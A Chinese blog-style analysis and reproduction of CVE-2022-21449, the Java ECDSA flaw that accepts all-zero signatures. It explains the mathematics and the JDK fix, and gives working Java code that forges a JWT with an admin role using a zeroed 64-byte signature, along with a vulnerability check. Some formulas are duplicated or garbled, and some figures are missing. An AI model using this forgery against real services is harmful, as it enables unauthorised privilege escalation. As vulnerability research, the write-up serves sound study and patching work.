在Oracle四月份发布的 Oracle Critical Patch Update Advisory - April 2022(关键补丁更新建议)中提及了Java SE涉及的一个和数字签名有关的高危漏洞,漏洞编号为CVE-2022-21449。本文对此漏洞进行一定的分析以及复现。
CVE详情见:https://cve.report/CVE-2022-21449

简单翻译一下,大概有以下有效信息:
风险等级:高危
引起:主要是部分版本中 Java SE 的 ECDSA 签名机制存在缺陷导致。
危害:可能导致服务器签名被伪造,从而未授权访问。
影响版本:
修复建议:升级到更新版本。
当然这只能帮我们大概了解一下,具体的细节还得结合签名算法去代码中分析。
ECDSA(Elliptic Curve Digital Signature Algorithm) 是使用椭圆曲线密码(ECC)对数字签名算法(DSA)的模拟。
ECDSA安全性依赖于基于椭圆曲线的有限群上的离散对数难题。与基于RSA的数字签名和基于有限域离散对数的数字签名相比,在相同的安全强度条件下,ECDSA方案具有如下特点:
设GF(p)GF(p)GF(p)为有限域,EEE是有限域上GF(p)GF(p)GF(p)上的椭圆曲线。选择EEE上一点G∈EG\in EG∈E,GGG的阶为满足安全要求的素数nnn,即nG=OnG=OnG=O(OOO为无穷远点)。选择一个随机数ddd,d∈[1,n−1]d \in [1, n-1]d∈[1,n−1],计算QQQ,使得Q=dGQ=dGQ=dG,那么公钥为(n,Q)(n, Q)(n,Q),私钥为(d)(d)(d)。
签名者AliceAliceAlice对消息mmm签名的过程如下:
签名接收者BobBobBob对消息mmm签名(r,s)(r,s)(r,s)的验证过程如下:
由于
Q=dGs≡(e+rd)k−1(modn)kG=(x,y)u≡s−1e(modn)v≡s−1r(modn)(x1,y1)=uG+vQQ=dG\\ s \equiv (e+rd)k^{-1}(mod \ n)\\ kG=(x,y)\\ u \equiv s^{-1}e(mod \ n)\\ v \equiv s^{-1}r(mod \ n)\\ (x_{1},y_{1})=uG+vQ Q=dGs≡(e+rd)k−1(mod n)kG=(x,y)u≡s−1e(mod n)v≡s−1r(mod n)(x1,y1)=uG+vQ
则有:
k≡(e+rd)s−1≡s−1e+s−1≡u+vd(modn)(x,y)=kG=uG+vdG=uG+vQ=(x1,y1)r1=x1modn=xmodn=rk \equiv (e+rd)s^{-1} \equiv s^{-1}e+s^{-1} \equiv u+vd (\ mod \ n)\\ (x,y)=kG=uG+vdG=uG+vQ=(x_{1},y_{1})\\ r_{1}=x_{1} \ mod \ n = x \ mod \ n=r k≡(e+rd)s−1≡s−1e+s−1≡u+vd( mod n)(x,y)=kG=uG+vdG=uG+vQ=(x1,y1)r1=x1 mod n=x mod n=r
以有此漏洞的Oracle JDK 17.0.2分析其实现过程。
其中EC密钥生成由sun.security.ec包下的public final class ECKeyPairGenerator extends KeyPairGeneratorSpi类实现,此次分析不涉及。
其中ECDSA签名算法由sun.security.ec包下的abstract class ECDSASignature extends SignatureSpi类实现,共支持以下签名算法:

签名算法代码如下:



这里有几个需要注意的细节:
然后看看验证算法,和签名算法在同一个类中实现:


这里也有几个注意的细节:
这次的漏洞点就出现在验签的算法里,并没有验证rrr和sss为0的情况,而签名的过程是保证了rrr和sss不为0的,这样攻击者只要将签名的rrr和sss伪造成0,就可以通过所有验签!!!
数学原理:
(x1,y1)=uG+vQ=(0,0)r1=x1modn=0=r(x_{1}, y_{1})=uG+vQ=(0,0)\\ r_{1}=x_{1} \ mod \ n=0=r (x1,y1)=uG+vQ=(0,0)r1=x1 mod n=0=r
当然,上述式子成立的前提是s−1=0s^{-1}=0s−1=0,实际上零元是没有逆元的,但是JDK中是使用费马小定理求解逆元的,并且没有特判0,所以在JDK中的计算是满足s−1=0s^{-1}=0s−1=0的。


先不考虑版本问题,漏洞出现在ECDSAOperations这个类上,所以凡是使用到这个类验签的算法都有可能有问题,ECDSA相关的算法命名如下:
SHA256withECDSAinP1363Format
最前面是使用的哈希算法,不管使用哪种哈希算法都存在上述漏洞。
中间说明是使用的是ECDSA,只有使用这种算法的才存在上述漏洞。
末尾表示是否使用IEEEP1363标准,只有采用这种标准的算法才会出现问题,Why?
因为如果采用DER解码,会在解码的时候顺便校验一下参数:

再结合上述验签过程中的特判,只有当伪造的签名长度为偶数,且不超过签名字节数,才能成功伪造。
在Oracle JDK17.0.3中即修复了该漏洞,修复后如下:

在Oracle JDK15.0.2中是由native方法实现的,也就是说是cpp写的:

ECDSAOperations这个类的验签算法中没有验证rrr和sss为0的特殊清楚,而JDK中求乘法逆元恰好使用了费马小定理并且没特判0,导致了这个漏洞的产生。SHAXXXwithECDSAinP1363Format,其中何种签名算法不影响,不使用IEEE P1363标准则会在DER解码的时候抛出异常。在WEB站点中,常使用的JWT(JSON Web Tokens)技术实现无状态的认证,JWT的构成非常简单,字节占用很小,非常便于传输。
JWT由3部分组成:标头(Header)、有效载荷(Payload)和签名(Signature)。在传输的时候,会将JWT的3部分分别进行Base64编码后用.进行连接形成最终传输的字符串。
数字签名能够保证token不被篡改。但是如果其中的签名算法使用的是Oracle JDK17.0.2的话,就容易造成身份被伪造。
如下,一个简单的JWT类:
package cve_2022_21449;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.interfaces.ECPrivateKey;
import java.security.interfaces.ECPublicKey;
import java.util.Base64;class ECDSA{private static final String algorithmName = "SHA256withECDSAinP1363Format";public KeyPair keyGen() throws Exception {KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("EC");keyPairGenerator.initialize(256);return keyPairGenerator.genKeyPair();}public byte[] sign(byte[] str, ECPrivateKey privateKey) throws Exception {Signature signature = Signature.getInstance(algorithmName);signature.initSign(privateKey);signature.update(str);return signature.sign();}public boolean verify(byte[] sig, byte[] str , ECPublicKey publicKey) throws Exception {Signature signature = Signature.getInstance(algorithmName);signature.initVerify(publicKey);signature.update(str);return signature.verify(sig);}
}
public class JWT {public static int EXPIRE = 60 * 60 * 1000;private final static ECDSA ecdsa = new ECDSA();public final static String normalRole = "normal";public final static String adminRole = "admin";private static String getHeader() {JSONObject header = new JSONObject();header.put("alg", "SHA256withECDSAinP1363Format");header.put("typ", "JWT");return Base64.getUrlEncoder().encodeToString(header.toJSONString().getBytes());}private static String getPayload(String user) {JSONObject payload = new JSONObject();payload.put("exp", System.currentTimeMillis() + EXPIRE);payload.put("name", user);payload.put("role", normalRole);return Base64.getUrlEncoder().encodeToString(payload.toJSONString().getBytes());}public static String generateToken(String user, ECPrivateKey ecPrivateKey) throws Exception {String content = String.format("%s.%s", getHeader(), getPayload(user));byte[] sig = ecdsa.sign(content.getBytes(), ecPrivateKey);String sigB64 = Base64.getUrlEncoder().encodeToString(sig);return String.format("%s.%s", content, sigB64);}public static boolean verifyToken(String token, ECPublicKey ecPublicKey) throws Exception {String[] tokens = token.split("\\.");if (tokens.length != 3) {return false;}else {String sigB64 = tokens[2];String content = String.format("%s.%s", tokens[0], tokens[1]);byte[] sig = Base64.getUrlDecoder().decode(sigB64);return ecdsa.verify(sig, content.getBytes(), ecPublicKey);}}public static String getRole(String token, ECPublicKey ecPublicKey) throws Exception {if(!verifyToken(token, ecPublicKey)) {throw new Exception("verify signature fail");}return (String)JSON.parseObject(new String(Base64.getUrlDecoder().decode(token.split("\\.")[1]))).get("role");}
}
即可利用该漏洞篡改payload中的信息,并且伪造签名通过验证,Exploit如下:
package cve_2022_21449;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;import java.security.KeyPair;
import java.security.interfaces.ECPrivateKey;
import java.security.interfaces.ECPublicKey;
import java.util.Base64;public class Expolit {private final static ECDSA ecdsa = new ECDSA();private final static String userName = "atfwus";private static String tamperToken(String oldToken) {String[] tokens = oldToken.split("\\.");String payloadDecodeString = new String(Base64.getUrlDecoder().decode(tokens[1]));JSONObject payload = JSON.parseObject(payloadDecodeString);payload.put("role", JWT.adminRole);String newPayloadB64 = Base64.getUrlEncoder().encodeToString(payload.toJSONString().getBytes());byte[] fakeSig = new byte[64];String fakeSigB64 = Base64.getUrlEncoder().encodeToString(fakeSig);return String.format("%s.%s.%s", tokens[0], newPayloadB64, fakeSigB64);}public static void main(String[] args) throws Exception {KeyPair keyPair = ecdsa.keyGen();ECPrivateKey ecPrivateKey = (ECPrivateKey) keyPair.getPrivate();ECPublicKey ecPublicKey = (ECPublicKey) keyPair.getPublic();String myToken = JWT.generateToken(userName, ecPrivateKey);System.out.printf("my token is:%s\n", myToken);System.out.printf("my role is:%s\n", JWT.getRole(myToken, ecPublicKey));String fakeToken = tamperToken(myToken);System.out.printf("fake token is:%s\n", fakeToken);System.out.printf("my role is:%s\n", JWT.getRole(fakeToken, ecPublicKey));}
}
效果如下:

package cve_2022_21449;import java.nio.charset.StandardCharsets;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.interfaces.ECPrivateKey;
import java.security.interfaces.ECPublicKey;class ECDSA{private static final String algorithmName = "SHA256withECDSAinP1363Format";public KeyPair keyGen() throws Exception {KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("EC");keyPairGenerator.initialize(256);return keyPairGenerator.genKeyPair();}public byte[] sign(byte[] str, ECPrivateKey privateKey) throws Exception {Signature signature = Signature.getInstance(algorithmName);signature.initSign(privateKey);signature.update(str);return signature.sign();}public boolean verify(byte[] sig, byte[] str , ECPublicKey publicKey) throws Exception {Signature signature = Signature.getInstance(algorithmName);signature.initVerify(publicKey);signature.update(str);return signature.verify(sig);}
}public class Test {public static ECDSA ecdsa = new ECDSA();public static void main(String[] args) throws Exception{KeyPair keyPair = ecdsa.keyGen();ECPrivateKey ecPrivateKey = (ECPrivateKey) keyPair.getPrivate();ECPublicKey ecPublicKey = (ECPublicKey) keyPair.getPublic();String content = "ATFWUShahahahahahaaha";byte[] c = content.getBytes(StandardCharsets.UTF_8);byte[] sig = ecdsa.sign(c, ecPrivateKey);byte[] fake = new byte[2];boolean verifySuccess = false;try {verifySuccess = ecdsa.verify(fake, c, ecPublicKey);} catch (Exception e) {e.printStackTrace();}if(verifySuccess) {System.out.println("当前JDK版本存在cve_2022_21449漏洞!!!");} else {System.out.println("当前JDK版本不存在cve_2022_21449漏洞。");}}
}
ATFWUS 2022-10-31